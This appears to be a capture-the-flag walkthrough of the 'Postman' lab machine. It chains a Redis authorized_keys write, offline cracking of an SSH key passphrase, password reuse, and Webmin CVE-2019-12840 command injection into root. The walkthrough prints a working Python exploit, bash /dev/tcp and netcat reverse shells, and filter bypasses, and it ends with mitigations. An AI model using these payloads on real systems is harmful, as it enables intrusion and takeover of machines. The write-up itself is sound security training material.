Overview

Machine author: TheCyberGeek. OS: Ubuntu 18.04.3 LTS (Bionic).

1
2
3
Redis 6379 (no auth)  --SAVE authorized_keys to .ssh/-->  shell as redis
   --crack /opt/id_rsa.bak (ssh2john + john) -> computer2008-->  su Matt (password reuse)
   --Webmin 10000, CVE-2019-12840 command injection in `u`-->  root
  1. Foothold: Redis listens without authentication; abuse SAVE to write an SSH public key to /var/lib/redis/.ssh/authorized_keys, shell as redis.
  2. Lateral movement: the encrypted private key /opt/id_rsa.bak is cracked by john (password computer2008); Matt reuses that as his system password; su Matt.
  3. Privilege escalation: log into Webmin with Matt’s credentials; CVE-2019-12840 (command injection in the Package Updates module, parameter u); Webmin runs as root, so RCE as root.

Reconnaissance

1
2
nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.x
nmap -p 22,80,6379,10000 -sC -sV -oA scans/nmap-tcpscripts 10.10.10.x
PortServiceVersionNotes
22SSHOpenSSH 7.6p1 Ubuntustandard
80HTTPApache 2.4.29 (Ubuntu)“under construction” page
6379RedisRedis 4.0.9no authentication
10000HTTPMiniServ 1.910 (Webmin httpd)HTTPS, admin panel
  • Port 6379 (Redis) is the obvious foothold: open to the world, no password.
  • Port 10000 (Webmin 1.910): a specific old version, worth keeping for privesc. Webmin runs as root, so any RCE there is root.
  • Port 80 is a dead end. Gobuster: /images /upload /css /js /fonts, nothing useful.

Initial Access

Redis, shell as redis

Redis 4.0-5.0 with a default, open configuration allows arbitrary disk writes with the privileges of the redis process:

  • Redis can save its database (RDB snapshot) to any path set with CONFIG SET dir + CONFIG SET dbfilename.
  • SAVE dumps the current database contents to that file.
  • If you first set a key’s value to a controlled string, that string ends up in the file.

This is an RDB write primitive. It is not a clean file write. The RDB file has a binary format:

1
REDIS0008.<meta>...<our content>...<meta/checksum>

Our content lands surrounded by garbage (RDB header + metadata + checksum). Only file attacks that tolerate extra garbage lines work; the canonical example is authorized_keys, which sshd reads line by line, ignoring lines that are not valid keys. Wrap the public key in blank lines (\n\n) so the binary garbage does not merge with the key line.

1
2
3
4
5
redis-cli -h 10.10.10.x          # apt-get install redis-tools

10.10.10.x:6379> config get dir
1) "dir"
2) "/var/lib/redis"                # the redis user's home directory

Test whether .ssh exists (if CONFIG SET dir returns OK, the directory exists):

1
2
10.10.10.x:6379> config set dir ./.ssh
OK                                  # -> /var/lib/redis/.ssh exists

If it did not exist, Redis returns (error) ERR Changing directory: No such file or directory.

Write the SSH key:

1
2
3
4
5
6
7
8
# 1. generate a key pair
ssh-keygen -f ./id_rsa_generated

# 2. wrap the public key in blank lines
(echo -e "\n\n"; cat id_rsa_generated.pub; echo -e "\n\n") > spaced_key.txt

# 3. push the content into a Redis key (-x = read the last argument from STDIN)
cat spaced_key.txt | redis-cli -h 10.10.10.x -x set payload
1
2
3
4
5
6
7
# 4. point the database file at authorized_keys, then SAVE
10.10.10.x:6379> config set dir /var/lib/redis/.ssh
OK
10.10.10.x:6379> config set dbfilename "authorized_keys"
OK
10.10.10.x:6379> save
OK
1
2
3
4
# 5. log in
ssh -i id_rsa_generated [email protected]
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

The saved file shows the “garbage + key + garbage” structure:

1
2
3
REDIS0008 redis-ver4.0.9 ... (binary metadata)
ssh-rsa AAAAB3Nza... root@kali        <-- our line, which sshd accepts
... (binary checksum)

Lateral Movement

redis to Matt

1
2
3
4
5
redis@Postman:/home/Matt$ ls -l
-rw-rw---- 1 Matt Matt 33 ... user.txt   # no access as redis

redis@Postman:/opt$ ls -l
-rwxr-xr-x 1 Matt Matt 1743 ... id_rsa.bak   # world-readable

LinPEAS flags /opt/id_rsa.bak under “Looking for ssl/ssh files”.

1
2
redis@Postman:/opt$ file id_rsa.bak
id_rsa.bak: PEM RSA private key

The header shows the key is passphrase encrypted:

1
2
3
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C     # 3DES-CBC, IV

Crack it offline:

1
2
3
4
ssh2john id_rsa.bak > id_rsa.john      # or /opt/john/run/ssh2john.py

john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
# computer2008     (id_rsa.bak)

The key passphrase is computer2008.

SSH as Matt does not work:

1
2
3
ssh -i id_rsa_postman_matt [email protected]
Enter passphrase for key ...:
Connection closed by 10.10.10.x port 22

Not because of the key (decryption is local; a wrong passphrase re-prompts rather than closing). The reason is in sshd_config:

1
2
redis@Postman:/$ cat /etc/ssh/sshd_config | grep -i deny
DenyUsers Matt

The server accepts the key but rejects the user Matt at the SSH level.

Matt reuses the key passphrase as his system password. DenyUsers only blocks SSH, not local su:

1
2
3
4
5
6
redis@Postman:/$ su Matt
Password: computer2008
Matt@Postman:/$ id
uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)

Matt@Postman:~$ cat user.txt

Always test a cracked password in every context (SSH, su, web panels, sudo). DenyUsers is not a disabled account.

Privilege Escalation

Matt to root (CVE-2019-12840)

Webmin authenticates via PAM / system accounts, so Matt’s credentials work:

1
https://10.10.10.x:10000/   ->  user: Matt / pass: computer2008
1
2
Matt@Postman:/etc/webmin$ cat version
1.910

Matt has limited panel permissions but has access to the “Software Package Updates” module, which is enough.

CVE-2019-12840: an arbitrary command execution vulnerability in Webmin 1.910 and lower. Any user authorized to the “Package Updates” module can execute arbitrary commands with root privileges.

  • Module: Package Updates (package-updates)
  • Script: /usr/share/webmin/package-updates/update.cgi
  • Parameter: u (passed by POST, multiple times)
  • Requirement: an authenticated user with access to the Package Updates module
  • Execution context: the Webmin process (miniserv.pl) runs as root

This is a different bug from the famous 2019 backdoor in password_change.cgi (CVE-2019-15107), which on this machine is disabled (Password changing is not enabled!).

The module lets you refresh selected packages. The front end sends the package list as multiple u parameters, each in the form <package_name>/<update_system>; for example u=acl/apt means “package acl via system apt”.

The payload sends two u values:

1
2
3
u=acl/apt          <-- the "valid" value: a real package + system (apt),
                       so the code flow reaches the command build
u=| bash -c id     <-- the payload value: appended to the shell command

The first value pushes the logic past validation; the second is treated as another “package name” and reaches the command without sanitization.

Code flow (simplified but faithful):

1
2
3
4
5
6
7
8
9
foreach my $u (split(/\0/, $in{'u'})) {         # multiple u values, null-separated
    my ($pkg, $system) = split(/\//, $u, 2);    # "acl/apt" -> ("acl", "apt")
    push @{$to_update{$system}}, $pkg;
}

# for apt (software/apt-lib.pl -> update_system_install):
my $packages = join(" ", @pkgs);                 # "acl  | bash -c id"
my $cmd = "apt-get -y install $packages";        # shell string concatenation
my $out = &backquote_logged("$cmd 2>&1");        # executed VIA THE SHELL

Two lines are the whole problem:

  1. my $cmd = "apt-get -y install $packages";: package names (including the payload) are injected into the shell command string by plain interpolation, no quoting, no escaping.
  2. &backquote_logged("$cmd ..."): Webmin runs the string through /bin/sh (Perl backquotes = fork + sh -c), so metacharacters (|, ;, $(), &&) are interpreted.

For the payload | bash -c id the executed command is:

1
apt-get -y install acl  | bash -c id

The server echoes the built command:

1
2
3
Now updating acl | bash -c id ..
Installing package(s) with command apt-get -y  install acl  | bash -c id ..
<pre>uid=0(root) gid=0(root) groups=0(root)</pre>

Two practical obstacles:

A) Referer header verification. Webmin has CSRF protection (referers_none=1 in /etc/webmin/config). Without Referer you get:

1
Warning! Webmin has detected that the program ... was linked to from an unknown URL ...

Add a Referer pointing at the Webmin server itself:

1
Referer: https://10.10.10.x:10000/

B) Duplicate u parameter in HTTP libraries. update.cgi requires two u parameters. Many HTTP clients (Python requests with data={...}) collapse a duplicate key and send only the last value. Use a list of tuples:

1
2
3
data=[('u', 'acl/apt'),
      ('u', ' | bash -c id'),
      ('ok_top', 'Update Selected Packages')]

C) Spaces break the payload (${IFS}). Webmin splits the package list on whitespace, so a space in the payload would be treated as a package boundary. Use ${IFS} instead:

1
echo${IFS}<base64>|base64${IFS}-d|bash

Get a root shell (Python):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import requests, requests.packages.urllib3
requests.packages.urllib3.disable_warnings()

s = requests.session()
s.post('https://10.10.10.x:10000/session_login.cgi',
       data={'page':'', 'user':'Matt', 'pass':'computer2008'}, verify=False)

rev = 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuNiA0NDMgPi90bXAvZgo='
s.post('https://10.10.10.x:10000/package-updates/update.cgi',
       data=[('u','acl/apt'),
             ('u', f'| bash -c "echo {rev}|base64 -d|bash -i"'),
             ('ok_top','Update Selected Packages')],
       headers={'Referer':'https://10.10.10.x:10000/'},
       verify=False)

Or with ${IFS} (Burp, URL-encoded):

1
u=acl%2Fapt&u=$(echo${IFS}<BASE64_REV>|base64${IFS}-d|bash)
1
2
3
echo "/bin/bash -i >& /dev/tcp/10.10.14.x/443 0>&1" | base64
# L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjY1LzQ0MyAwPiYxCg==
sudo rlwrap -cAr nc -lvnp 443
1
2
3
4
connect to [10.10.14.x] from (UNKNOWN) [10.10.10.x] 36792
root@Postman:/usr/share/webmin/package-updates/# id
uid=0(root) gid=0(root) groups=0(root)
root@Postman:/usr/share/webmin/package-updates/# cat /root/root.txt

bash -i >& /dev/tcp/... requires bash (not dash/sh), because /dev/tcp is a bashism; the payload decodes base64 and pipes to bash.

Why the Metasploit “redis slave” exploit failed

exploit/linux/redis/redis_unauth_exec (master-slave replication to load a malicious .so) does not work here:

1
-ERR unknown command 'MODULE'

Not a version issue. It is a deliberate hardening in redis.conf:

1
2
redis@Postman:/etc/redis$ grep MODULE redis.conf
rename-command MODULE ""

rename-command MODULE "" disables the MODULE command. The slave-replication exploit relies on MODULE LOAD. The intended vector is the simpler RDB write primitive.

Detection and Mitigation

StageMisconfigurationMitigation
Redis footholdRedis listens on 0.0.0.0 without authbind 127.0.0.1, requirepass, protected-mode yes, firewall 6379
Redis writethe redis process can write to its own ~/.sshrun as a user with no home / no shell; rename-command CONFIG ""
Lateralan encrypted private key in /opt, world-readabledo not store private keys on hosts; restrictive permissions; strong passphrases
Lateralpassword reuse (key passphrase = system password)unique passwords per context, a password manager
PrivEscWebmin 1.910 (vulnerable) running as rootupdate Webmin > 1.910; limit modules per user; do not expose the panel
PrivEscreferers_none can be satisfied with a headerit is not real protection; do not rely on Referer

Root cause of CVE-2019-12840: no validation or escaping of package names before concatenation into a shell command. The correct pattern is to pass arguments as a list to exec (no shell) or validate names with ^[A-Za-z0-9.+-]+$.

Lessons Learned

  • Redis without auth is an RDB write primitive; always check config get dir and SAVE. Garbage around the content means target files that are read line by line (authorized_keys, cron).
  • DenyUsers only blocks SSH; test a cracked password in su, web panels and sudo.
  • Admin panels run as root; look for RCE. Webmin 1.910 -> CVE-2019-12840.
  • CVE-2019-12840 is command injection by concatenating package names into apt-get install run through a shell. Bypasses: Referer, two u parameters (a tuple list), ${IFS} instead of spaces.
  • rename-command MODULE "" is why the Metasploit master-slave exploit fails; a missing vulnerability is not always an old version.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# recon
nmap -p- --min-rate 10000 10.10.10.x
nmap -p 22,80,6379,10000 -sC -sV 10.10.10.x

# Redis -> shell as redis
ssh-keygen -f ./key
(echo -e "\n\n"; cat key.pub; echo -e "\n\n") > spaced.txt
cat spaced.txt | redis-cli -h 10.10.10.x -x set pwn
redis-cli -h 10.10.10.x <<'EOF'
config set dir /var/lib/redis/.ssh
config set dbfilename authorized_keys
save
EOF
ssh -i ./key [email protected]

# lateral redis -> Matt
ssh2john /opt/id_rsa.bak > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt   # computer2008
su Matt            # DenyUsers only blocks SSH, not su

# privesc Matt -> root (CVE-2019-12840)
echo "/bin/bash -i >& /dev/tcp/<LHOST>/443 0>&1" | base64
sudo rlwrap -cAr nc -lvnp 443
#   u=acl/apt&u=$(echo${IFS}<B64>|base64${IFS}-d|bash)   (POST /package-updates/update.cgi, Referer required)